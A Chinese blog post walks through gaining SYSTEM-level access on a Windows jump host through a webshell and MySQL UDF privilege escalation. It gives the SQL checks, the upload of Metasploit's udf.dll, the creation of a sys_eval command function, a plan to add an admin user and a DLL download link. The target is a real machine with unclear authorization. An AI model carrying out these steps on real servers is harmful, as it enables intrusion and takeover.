记录一次MySQL UDF提权

好朋友让我帮他一起溯源一下跳板机,因为要看一下这个跳板机里的日志,但是目前只拿了低权限Shell一个,么有权限查看,需要提权,我这菜鸡何其有幸,必须得帮,又菜又爱溯源🤣就是我了。

跳板机环境:

  • IIS 10.0
  • PHP 7.3.4
  • Windows Server 2016

好朋友已经拿了Shell,给了我冰蝎Shell,但是

image-20220804162348903

但是蚁剑又能执行,真的狗

image-20220804163106489

内网接触的少,只有求助大佬,大佬甩给我了一个网站,查补丁漏洞提权的

方法一:补丁EXP提权(未尝试)

http://bugs.hacking8.com/tiquan/

使用 systeminfo 命令查看安装了哪些补丁

image-20220804163530290

再把补丁信息复制到网站里去对比

倒是发现了一个MS16-135,但是我想这几率可能会非常小,先暂时放这儿

image-20220804163825349

方法二:CVE-2020-0787(提权失败)

没错,我又发现了一个方法

image-20220804170953318

参考的这个大佬的链接:https://www.bilibili.com/read/cv6581994/

这个方法利用失败了…脸黑

方法三:MySQL UDF提权(提权成功)

然后在网站里翻到了数据库的账号密码,外网尝试连接失败,正好冰蝎有一个数据库连接功能,果断试一试

美滋滋

image-20220804164110132

然后搜索了一下MySQL的提权姿势,发现大部分都是利用的UDF提权,原理大家自行网上找吧

验证是否可写

提权的条件是secure_file_priv要为空

1
show global variables like 'secure%';  #验证是否可写

image-20220804164456392

好家伙,可写,冲!

判断了一下当前MySQL版本

image-20220804164217852

MySQL版本大于5.1版本:udf.dll文件必须放置于MySQL安装目录下的lib\plugin文件夹下。
MySQL版本小于5.1版本:udf.dll文件在Windows2003下放置于c:\windows\system32.
在Windows2000下放置于C:\winnt\system32。
如果目录不存在则利用NTFS数据流创建文件目录

所以我们得把这个udf.dll文件放在MySQL安装目录下的lib\plugin文件夹下

确定版本

那么udf.dll文件在哪儿找呢,这个dll文件Kali系统自带,但是它有32位和64位的,我们要根据提权的这个机器的位数来决定使用哪一个(文末有udf.dll下载链接)

1
show variables like '%compile%'; #查看位数

image-20220804164838340

确定为64位机器

下载上传udf.dll文件

那么我们就进入到kali的/usr/share/metasploit-framework/data/exploits/mysql目录下

image-20220804164949513

现在udf.dll文件已经有了,把这个dll文件放到MySQL安装目录下的lib\plugin文件夹下

1
select @@basedir;  #查看MySQL安装目录

image-20220804165243887

发现没有lib文件夹,也没有plugin文件夹,那就自行创建,然后把udf.dll文件传上去

上传成功

image-20220804165427250

创建自定义函数

创建自定义函数 sys_eval

1
create function sys_eval returns string soname ‘lib_mysqludf_sys_64.dll’;

再来看看是什么权限

image-20220804165754834

提权成功啦,接下来就是添加管理员用户,然后审计日志咯。

已经帮大家把udf.dll文件拿来了

https://a-xin.lanzoue.com/b00vxrc1a
密码:d3fb

参考的下面这个大佬的文章复现成功的。

参考链接:https://blog.csdn.net/qq_53577336/article/details/119700116